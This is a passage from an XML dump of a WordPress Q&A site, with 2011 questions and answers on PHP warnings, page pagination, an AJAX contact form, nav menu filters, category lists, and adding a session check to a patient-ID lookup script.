LastActivityDate="2011-05-13T13:08:56.970" CommentCount="5" />
  <row Id="16872" PostTypeId="2" ParentId="16869" CreationDate="2011-05-10T17:25:49.800" Score="0" ViewCount="" Body="&lt;p&gt;Sorry, but: No, it's exactly the same form, just placed somewhere else via JavaScript.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-10T17:25:49.800" CommentCount="4" />
  <row Id="16873" PostTypeId="2" ParentId="16868" CreationDate="2011-05-10T17:26:52.497" Score="0" ViewCount="" Body="&lt;p&gt;Try &lt;code&gt;$GLOBALS['comment'] = $comment&lt;/code&gt; above that function.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-10T17:26:52.497" />
  <row Id="16874" PostTypeId="1" AcceptedAnswerId="16881" CreationDate="2011-05-10T17:31:00.420" Score="0" ViewCount="98" Body="&lt;p&gt;I just upgraded from 3.0 to 3.1.2 and in the comments column under Posts in the WP Admin, this error keeps appearing for every row:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: number_format() expects&#xA;  parameter 1 to be double, string given&#xA;  in&#xA;  /path/mysite/wp-includes/functions.php&#xA;  on line 155&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me how to fix this? &lt;/p&gt;&#xA;" OwnerUserId="5267" LastActivityDate="2011-05-10T18:46:52.800" Title="How to fix this PHP warning in WP-Admin after upgrading to 3.1.2?" Tags="&lt;php&gt;&lt;3.1&gt;&lt;upgrade&gt;&lt;warnings&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="16875" PostTypeId="1" AcceptedAnswerId="18651" CreationDate="2011-05-10T17:36:28.510" Score="3" ViewCount="121" Body="&lt;p&gt;Hey Guys,&#xA;I'm trying to build pagination links for the next/previous cousin page. For example, my page structure is like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Top Level&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a1&lt;/li&gt;&#xA;&lt;li&gt;a2&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;B&#xA;&lt;ul&gt;&#xA;&lt;li&gt;b1&lt;/li&gt;&#xA;&lt;li&gt;b2&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I'm on a2, I want the 'Previous Page' link to go to a1, but the 'Next Page' link to go to b1 (skipping B).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using great &lt;a href=&quot;http://binarym.com/2009/next-page-not-next-post/&quot; rel=&quot;nofollow&quot;&gt;Next Page, Not Next Post&lt;/a&gt; plugin at the moment, but it can only go to next page (so it would include B in the above example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to modify it to only show cousins, but running into some trouble. So far I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // query gand parent page level, go to next parent page, and then loop to find it's next child, eke!&#xA;    // get grandparent id&#xA;    $parentInfo = get_page($post-&amp;gt;post_parent);&#xA;&#xA;    // query the level above's pages&#xA;    // $getParentPages = get_pages('child_of='.$parentInfo-&amp;gt;post_parent.'&amp;amp;parent='.$parentInfo-&amp;gt;post_parent.'&amp;amp;'.$getPagesQuery);&#xA;    $getParentPages = get_pages($getPagesQuery);&#xA;    $parentPageCount = count($getParentPages);      &#xA;&#xA;    for($pp=0; $pp &amp;lt; $parentPageCount; $pp++) {&#xA;        // get the array key for our entry&#xA;        // if ($post-&amp;gt;post_parent == $getParentPages[$pp]-&amp;gt;ID) break;&#xA;        if ($post-&amp;gt;ID == $getParentPages[$pp]-&amp;gt;ID) break;&#xA;    }&#xA;&#xA;    // assign our next key&#xA;    $parentNextKey = $pp+1;&#xA;&#xA;    if (isset($getParentPages[$parentNextKey])) {&#xA;        $anchorName = $getParentPages[$parentNextKey]-&amp;gt;post_title;&#xA;&#xA;        $output = '&amp;lt;a href=&quot;'.get_permalink($getParentPages[$parentNextKey]-&amp;gt;ID).'&quot; title=&quot;'.$anchorName.'&quot;&amp;gt;';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So how would I make that skip B, and go to b1 and so on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Drew&lt;/p&gt;&#xA;" OwnerUserId="4562" LastActivityDate="2011-06-28T19:18:36.733" Title="Get next/previous cousin page" Tags="&lt;page&gt;&lt;pagination&gt;&lt;previous&gt;&lt;next&gt;" AnswerCount="1" />
  <row Id="16876" PostTypeId="1" AcceptedAnswerId="16879" CreationDate="2011-05-10T18:01:27.780" Score="1" ViewCount="167" Body="&lt;p&gt;I created a contact form for my sidebar that is working perfectly in Chrome but not in IE or FF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been staring at it for hours and can't find out what I did wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not getting any errors anywhere, but when I submit it in FF or IE, it logs &quot;nope&quot; in my console and echos out a message of -1 in #jvmsg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My html is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li id=&quot;jvcontactwidget-3&quot; class=&quot;widget widget_contact&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;title&quot;&amp;gt;&amp;lt;h2&amp;gt;Test&amp;lt;/h2&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;form id=&quot;jvcontact&quot; name=&quot;widget_contact&quot; action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;required&quot; for=&quot;email&quot;&amp;gt;Email Address (required)&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input class=&quot;required&quot; type=&quot;email&quot; name=&quot;email&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;required&quot; for=&quot;firstName&quot;&amp;gt;First Name (required)&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input class=&quot;required&quot; type=&quot;text&quot; name=&quot;firstName&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;required&quot; for=&quot;lastName&quot;&amp;gt;Last Name (required)&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input class=&quot;required&quot; type=&quot;text&quot; name=&quot;lastName&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;question&quot;&amp;gt;Any questions for us?&amp;lt;/label&amp;gt;&#xA;    &amp;lt;textarea rows=&quot;5&quot; name=&quot;question&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Send it&quot; style=&quot;display: inline-block; &quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;div class=&quot;jvloading&quot; style=&quot;display: none; &quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;jvsuccess&quot; style=&quot;display: none;&quot; &amp;gt;Thanks for the email&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;jvmsg&quot; style=&quot;display: none; &quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My js file is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;jQuery('#jvcontact').submit(function() {&#xA;    jQuery('.widget_contact input[type=&quot;submit&quot;]').hide();&#xA;    jQuery('.jvloading').show();&#xA;    var str = jQuery(this).serialize();&#xA;    jQuery.ajax({&#xA;        type: 'POST',&#xA;        url: '/wp-admin/admin-ajax.php',&#xA;        data: 'action=contact_form&amp;amp;'+str,&#xA;        success: function(msg) {&#xA;            //jQuery('#jvmsg').ajaxComplete(function(event, request, settings){&#xA;                if(msg === 'sent') {&#xA;                    console.log('sent');&#xA;                    jQuery('#jvmsg').hide();&#xA;                    jQuery('.jvloading').slideUp();&#xA;                    jQuery('.widget_contact input[type=&quot;submit&quot;]').slideUp();&#xA;                    jQuery('#jvcontact').slideUp();&#xA;                    jQuery('#jvsuccess').fadeIn('slow');&#xA;                }&#xA;                else {&#xA;                    console.log('nope');&#xA;                    jQuery('#jvmsg').html(msg);&#xA;                    jQuery('.jvloading').hide();&#xA;                    jQuery('.widget_contact input[type=&quot;submit&quot;]').show();&#xA;                    jQuery('#jvmsg').fadeIn('slow');&#xA;                }&#xA;            //});&#xA;        }&#xA;    });&#xA;    return false;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;});&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ajax_contact() {&#xA;if(!empty($_POST)) {&#xA;&#xA;  $error = &quot;&quot;;&#xA;&#xA;  //Check to make sure sure that a valid email address is submitted&#xA;  if(trim($_POST['email']) == '')  {&#xA;    $error .= &quot;An email address is required&amp;lt;br/&amp;gt;&quot;;&#xA;  } else if (!eregi(&quot;^[A-Z0-9._%-]+@[A-Z0-9._%-]+\.[A-Z]{2,4}$&quot;, trim($_POST['email']))) {&#xA;    $error .= &quot;A valid email address is required&amp;lt;br/&amp;gt;&quot;;&#xA;  } else {&#xA;    $email = trim($_POST['email']);&#xA;  }&#xA;&#xA;  //Check to make sure that the first name field is not empty&#xA;  if(trim($_POST['firstName']) == '') {&#xA;    $error .= &quot;Your first name is required&amp;lt;br/&amp;gt;&quot;;&#xA;  } else {&#xA;    $firstName = trim($_POST['firstName']);&#xA;  }&#xA;&#xA;  //Check to make sure that the last name field is not empty&#xA;  if(trim($_POST['lastName']) == '') {&#xA;    $error .= &quot;Your last name is required&amp;lt;br/&amp;gt;&quot;;&#xA;  } else {&#xA;    $lastName = trim($_POST['lastName']);&#xA;  }&#xA;&#xA;  if(trim($_POST['question']) == '') {&#xA;    $question = &quot;They had no questions at this time&quot;;&#xA;  } else {&#xA;    $question = $_POST['question'];&#xA;  }&#xA;&#xA;  $admin_mail = get_bloginfo('admin_email');&#xA;&#xA;&#xA;if(empty($error)) {&#xA;&#xA;  $message  = &quot;Someone wants to get in touch with you. \n\n&#xA;               Name: &quot; . $firstName . &quot; &quot; . $lastName . &quot;\n&#xA;               Email: &quot; . $email . &quot;\n&#xA;               Question: &quot; . $question . &quot;\n&quot;;&#xA;&#xA;  $jvMail = wp_mail($admin_mail, 'Contact from your website', $message);&#xA;  echo &quot;sent&quot;;&#xA;&#xA;} else {&#xA;  echo $error;&#xA;}&#xA;die();&#xA;}&#xA;}&#xA;&#xA;add_action('wp_ajax_contact_form', 'ajax_contact');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="5268" LastActivityDate="2011-05-10T20:36:03.817" Title="AJAX Contact Form Issue" Tags="&lt;widgets&gt;&lt;jquery&gt;&lt;javascript&gt;&lt;ajax&gt;&lt;contact&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="16877" PostTypeId="2" ParentId="16868" CreationDate="2011-05-10T18:14:52.240" Score="2" ViewCount="" Body="&lt;p&gt;applying the 'the_content' filter could work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo apply_filters('the_content', $comment-&amp;gt;comment_content); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-10T18:14:52.240" CommentCount="2" />
  <row Id="16878" PostTypeId="2" ParentId="16822" CreationDate="2011-05-10T18:17:57.220" Score="4" ViewCount="" Body="&lt;p&gt;After reading this thread I saw that I might need this also sometimes. So here is the result:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The internal link checker plugin&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;It adds a meta box at your post edit screens that shows links to all posts who link internally to the currently displayed post. If you want to alter the output (add something for eg.), please use the provided filter. An example of how to use the filter can be found at the readme file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Plugin is GPL2 licensed. Maybe I'll also put it in the official repo to allow installation from inside your self hosted blog. &lt;strong&gt;Edit:&lt;/strong&gt; Done.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/franz-josef-kaiser/Internal-Link-Check&quot; rel=&quot;nofollow&quot;&gt;Grab it for free over at github&lt;/a&gt;&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;...or at...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/internal-link-checker/&quot; rel=&quot;nofollow&quot;&gt;WordPress.org - Extend&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;...or in our own&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/18459/wpse-plugin-repository-the-plugins-that-came-out-of-wp-answers/18460#18460&quot;&gt;WPSE Plugin Repository&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-29T05:01:09.657" LastActivityDate="2011-08-29T05:01:09.657" CommentCount="1" />
  <row Id="16879" PostTypeId="2" ParentId="16876" CreationDate="2011-05-10T18:20:21.313" Score="3" ViewCount="" Body="&lt;p&gt;are you logged-in with all browsers? since &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_action('wp_ajax_contact_form', 'ajax_contact');&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;only works for logged in users, &#xA;so to fix it you need to change it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_action('wp_ajax_nopriv_contact_form', 'ajax_contact');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want your function to work for visitors as well as users.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="5268" LastEditorDisplayName="" LastEditDate="2011-05-10T20:36:03.817" LastActivityDate="2011-05-10T20:36:03.817" CommentCount="2" />
  <row Id="16880" PostTypeId="1" AcceptedAnswerId="16967" CreationDate="2011-05-10T17:53:50.747" Score="3" ViewCount="87" Body="&lt;p&gt;I'm a small-timer, so I was amazed at this question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16465/ideal-wp-multisite-server-setup-for-up-to-1000-sites&quot;&gt;Ideal WP multisite server setup for up to 1000 sites?&lt;/a&gt;.  I know that WordPress is a highly flexible platform, but what types of entities/businesses would need or use this type of setup?  In situations like this is there much redundant content? How do you begin designing something like this?  Are there lessons in this for the small-timers?&lt;/p&gt;&#xA;" OwnerUserId="2709" LastEditorUserId="2709" LastEditorDisplayName="" LastEditDate="2011-05-11T03:27:06.730" LastActivityDate="2011-05-11T16:20:26.703" Title="Mega WordPress Applications WPMU or otherwise" Tags="&lt;multisite&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="16881" PostTypeId="2" ParentId="16874" CreationDate="2011-05-10T18:46:52.800" Score="2" ViewCount="" Body="&lt;p&gt;The &quot;Comments&quot; column is not a default/core column in the &quot;Posts&quot; page. Perhaps it is being generated by your Disqus Plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try temporarily disabling the Disqus Plugin, and see if the PHP notices go away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: actually, it &lt;em&gt;is&lt;/em&gt; a default column. But I still suspect Disqus is causing the PHP warning.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-10T18:46:52.800" CommentCount="2" />
  <row Id="16882" PostTypeId="2" ParentId="16791" CreationDate="2011-05-10T19:06:17.743" Score="0" ViewCount="" Body="&lt;p&gt;And here is my solution to split it with the &lt;em&gt;More&lt;/em&gt; button (which is also available for pages):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$child_pages = get_pages( array(&#xA;    'parent' =&amp;gt; get_the_ID(),&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'sort_column' =&amp;gt; 'post_date',&#xA;    'sort_order' =&amp;gt; 'desc',&#xA;) );&#xA;&#xA;foreach ( $child_pages as $child_page ) {&#xA;    $short_content = $child_page-&amp;gt;post_content;&#xA;    if ( preg_match( '/&amp;lt;!--more(.*?)?--&amp;gt;/', $short_content, $matches, PREG_OFFSET_CAPTURE ) ) {&#xA;        $short_content = substr( $short_content, 0, $matches[0][1] );&#xA;    }&#xA;    echo apply_filters( 'the_content', $short_content );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-10T19:06:17.743" />
  <row Id="16883" PostTypeId="2" ParentId="16731" CreationDate="2011-05-10T19:19:27.563" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at the core files. Best would be to include the &lt;a href=&quot;http://krumo.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;krumo class&lt;/a&gt; into Twenty Ten theme and then simply write &lt;code&gt;krumo::includes();&lt;/code&gt; at the beginning of Twenty Tens functions.php file. This will show you which file gets loaded when and help you learning the way wp works pretty fast and easily.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-10T19:19:27.563" />
  <row Id="16884" PostTypeId="2" ParentId="16869" CreationDate="2011-05-10T19:27:40.253" Score="4" ViewCount="" Body="&lt;p&gt;Well, it is the same form, but it is moved to another place in the DOM tree. So you could create one style for just &lt;code&gt;.comments #respond&lt;/code&gt;, and one for &lt;code&gt;.comments .comment #respond&lt;/code&gt; for the moved reply form.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-10T19:27:40.253" CommentCount="1" />
  <row Id="16885" PostTypeId="2" ParentId="11451" CreationDate="2011-05-10T19:32:36.737" Score="0" ViewCount="" Body="&lt;p&gt;For category custom fields there is this plug in : &lt;a href=&quot;http://wordpress.org/extend/plugins/categorycustomfields/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/categorycustomfields/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5271" LastActivityDate="2011-05-10T19:32:36.737" />
  <row Id="16886" PostTypeId="2" ParentId="16818" CreationDate="2011-05-10T19:36:49.913" Score="0" ViewCount="" Body="&lt;p&gt;This function is exactly what you want to have. It also shows you a pretty effective way to modify nav menu items. Furthermore you can open it for more advanced (eg. child theme) functions via the item-filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Classes for a navigation named &quot;Topnav&quot; in the nav location &quot;top&quot;.&#xA; * Shows examples on how to modify the current nav menu item&#xA; * &#xA; * @param (object) $items&#xA; * @param (object) $menu&#xA; * @param (object) $args&#xA; */&#xA;function wpse16818_nav_menu_items( $items, $menu, $args )&#xA;{&#xA;    # &amp;gt;&amp;gt;&amp;gt;&amp;gt; start editing&#xA;&#xA;    // examples for possible targets&#xA;    $target['name'] = 'Topnav';&#xA;    // The targeted menu item/s&#xA;    $target['items'] = array( (int) 6 );&#xA;&#xA;    # &amp;lt;&amp;lt;&amp;lt;&amp;lt; stop editing&#xA;&#xA;    // filter for child themes: &quot;config_nav_menu_topnav&quot;&#xA;    $target = apply_filters( 'config_nav_menu_'.strtolower( $target['name'] ), $target );&#xA;&#xA;    // Abort if we're not with the named menu&#xA;    if ( $menu-&amp;gt;name !== $target['name'] ) &#xA;        return;&#xA;&#xA;    foreach ( $items as $item )&#xA;    {&#xA;        // Check what $item contains&#xA;        echo '&amp;lt;pre&amp;gt;'; print_r($item); echo '&amp;lt;/pre&amp;gt;';&#xA;&#xA;        // First real world example:&#xA;        $item-&amp;gt;classes = 'span-4';&#xA;&#xA;        // Second real world example:&#xA;        // Append this class if we are in one of the targeted items&#xA;        if ( in_array( (int) $item-&amp;gt;menu_order, $target['items'] ) )&#xA;            $item-&amp;gt;classes .= ' last';&#xA;    }&#xA;&#xA;    return $items;&#xA;}&#xA;add_filter( 'wp_get_nav_menu_items', 'wpse16818_nav_menu_items', 10, 3 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;And yes, there's - in nearly every case - no need for a custom walker.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-10T19:36:49.913" CommentCount="1" />
  <row Id="16887" PostTypeId="2" ParentId="5194" CreationDate="2011-05-10T19:44:31.687" Score="0" ViewCount="" Body="&lt;p&gt;You can also use the get_header() function to get a different header file. Name the custom header file header-whatever.php, then use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_header('whatever');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and WP will use the header-whatever.php file instead of header.php. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the syntax is wonky - you'd think you should put the filename in there instead, but no - you need the name after the hyphen only. I want that hour of my life back now :(&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2011-05-10T19:44:31.687" CommentCount="1" />
  <row Id="16888" PostTypeId="2" ParentId="15363" CreationDate="2011-05-10T19:58:45.580" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://demo.rockettheme.com/mar10/&quot; rel=&quot;nofollow&quot;&gt;Crystalline&lt;/a&gt; theme rolls it's own templates, which it calls overrides, instead of using the standard WordPress templating approach. In WordPress, the standard way is to create multiple template files inside the theme directory, then choose which template to use when editing a page in the WordPress dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Crystalline there is a single template file, called index.php. This template file then makes calls to the &lt;a href=&quot;http://www.gantry-framework.org/&quot; rel=&quot;nofollow&quot;&gt;Gantry&lt;/a&gt; framework in order to figure out what to display. So, you create separate overrides within the Crystalline settings area. Then, you have to specify which pages use which override, again from within the Crystalline settings area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you do this everything works as planned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, here's the logical flow of what's going on (again, as best as I can tell):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Page request comes in.&lt;/li&gt;&#xA;&lt;li&gt;WordPress engine tells the Crystalline WordPress template to display the page.&lt;/li&gt;&#xA;&lt;li&gt;Crystalline WordPress template makes a bunch of calls to the Gantry Framework.&lt;/li&gt;&#xA;&lt;li&gt;The Gantry Framework determines what Gantry template to use based on it's own internal settings.&lt;/li&gt;&#xA;&lt;li&gt;Finally, Gantry spits out some HTML, JS, and CSS.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's how you actually add templates to Crystalline (Gantry) and specify which pages should use which templates:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;From the WordPress dashboard, click the Crystalline button in the lower left corner.&lt;/li&gt;&#xA;&lt;li&gt;There is a dropdown menu labelled &quot;Default Settings&quot;, this is your list of overrides (templates).&lt;/li&gt;&#xA;&lt;li&gt;Selecting an override will allow you to make changes to the style, layout and widgets it uses.&lt;/li&gt;&#xA;&lt;li&gt;The assignments tab for each override is where you specify which pages use that override.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4821" LastEditorUserId="4821" LastEditorDisplayName="" LastEditDate="2011-05-11T00:05:04.120" LastActivityDate="2011-05-11T00:05:04.120" />
  <row Id="16889" PostTypeId="1" AcceptedAnswerId="16891" CreationDate="2011-05-10T20:17:48.537" Score="-1" ViewCount="52" Body="&lt;p&gt;I'm building a category picker select list. I just need to populate an array of categorys like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myCats = array(&quot;null&quot; =&amp;gt; &quot;None (default)&quot;, &quot;1&quot; =&amp;gt; &quot;Uncategorized&quot;, &quot;2&quot; =&amp;gt; &quot;Second Category&quot;, etc..)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does WP have an existing method call I can use to pull this data alone? I may need to exclude some categories from the listing too.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-05-10T21:50:34.453" Title="Method to retrieve category names and IDs only as an array?" Tags="&lt;plugin-development&gt;" AnswerCount="2" />
  <row Id="16890" PostTypeId="1" CreationDate="2011-05-10T20:47:02.163" Score="3" ViewCount="98" Body="&lt;p&gt;I'm looking for a solution to notify/force all users in an MU network to change their passwords. Any ideas of a solution out there as a plug-in?&lt;/p&gt;&#xA;" OwnerUserId="4833" LastActivityDate="2011-08-09T21:21:36.380" Title="Force all users in MU to change their passwords" Tags="&lt;password&gt;&lt;reset&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="16891" PostTypeId="2" ParentId="16889" CreationDate="2011-05-10T20:53:45.113" Score="2" ViewCount="" Body="&lt;p&gt;Can't you use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_dropdown_categories&quot; rel=&quot;nofollow&quot;&gt;wp_dropdown_categories&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_dropdown_categories('show_option_none=Select category&amp;amp;exclude=1,2,3&amp;amp;selected=6');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5223" LastEditorUserId="5223" LastEditorDisplayName="" LastEditDate="2011-05-10T21:50:34.453" LastActivityDate="2011-05-10T21:50:34.453" CommentCount="2" />
  <row Id="16892" PostTypeId="1" CreationDate="2011-05-10T21:24:56.373" Score="1" ViewCount="71" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;@session_start();&#xA;&#xA;If (!array_key_exists(‘authed’, $_SESSION))&#xA;{&#xA;     include ‘not_authed.inc’;&#xA;     exit();&#xA;}&#xA;&#xA;// go about your business.&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and i'm trying to add that to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;function checkValues($value)&#xA;{&#xA;     // Use this function on all those values where you want to check for both sql injection and cross site scripting&#xA;     //Trim the value&#xA;     $value = trim($value);&#xA;&#xA;    // Stripslashes&#xA;    if (get_magic_quotes_gpc()) {&#xA;        $value = stripslashes($value);&#xA;    }&#xA;&#xA;     // Convert all &amp;amp;lt;, &amp;amp;gt; etc. to normal html and then strip these&#xA;     $value = strtr($value,array_flip(get_html_translation_table(HTML_ENTITIES)));&#xA;&#xA;     // Strip HTML Tags&#xA;     $value = strip_tags($value);&#xA;&#xA;    // Quote the value&#xA;    $value = mysql_real_escape_string($value);&#xA;    return $value;&#xA;&#xA;}   &#xA;mysql_connect (&quot;mysql.*****.com&quot;, &quot;****&quot;,&quot;$*****&quot;)  or die (mysql_error());&#xA;mysql_select_db (&quot;***********&quot;);&#xA;&#xA;$term = checkValues($_REQUEST['val']);&#xA;$term = mysql_real_escape_string($term);&#xA;&#xA;$sql = mysql_query(&quot;select * FROM patient_db WHERE id_number = '$term'&quot;);&#xA;&#xA;&#xA;if($row = mysql_fetch_array($sql)) {&#xA;    echo &quot;&amp;lt;img src=\&quot;******\&quot; class='leftfloat' border=0&amp;gt;&quot;;&#xA;    echo '&amp;lt;p&amp;gt;';&#xA;    echo '&amp;lt;br /&amp;gt; ID Number: '   .$row['id_number'];&#xA;    echo '&amp;lt;br /&amp;gt; Name: '        .$row['Name'];&#xA;    echo '&amp;lt;br /&amp;gt; Exp. Date: '   .$row['exp_date'];&#xA;    echo '&amp;lt;br /&amp;gt; DOB: '         .$row['dob'];&#xA;    echo '&amp;lt;/p&amp;gt;';&#xA;    //echo &quot;&amp;lt;a href='******' title='Printer Friendly Version' alt='Printer Friendly Version'&amp;gt;&amp;lt;img src=\&quot;*****\&quot; class='rightfloat' border=0 height=33 width=33&amp;gt;&amp;lt;/a&amp;gt;&quot;;&#xA;} else {&#xA;    echo &quot;&amp;lt;img src=\&quot;*****\&quot; height=50 width=50 class='leftfloat' border=0&amp;gt;&quot;;&#xA;    print &quot;&amp;lt;h1&amp;gt;USER ID &amp;lt;br/&amp;gt;NOT FOUND&amp;lt;/h1&amp;gt;&amp;lt;br /&amp;gt;&quot;;&#xA;    print &quot;&amp;lt;strong&amp;gt;OOPS!! THIS COULD BE AN ERROR&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&quot;;&#xA;    print &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;    print &quot;&amp;lt;div&amp;gt;*****&amp;lt;/div&amp;gt;&quot;;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5273" LastActivityDate="2011-08-30T07:36:55.143" Title="Detect session/cookie variable in wordpress to prevent access to documents" Tags="&lt;php&gt;&lt;security&gt;&lt;sql&gt;" AnswerCount="1" CommentCount="1" />
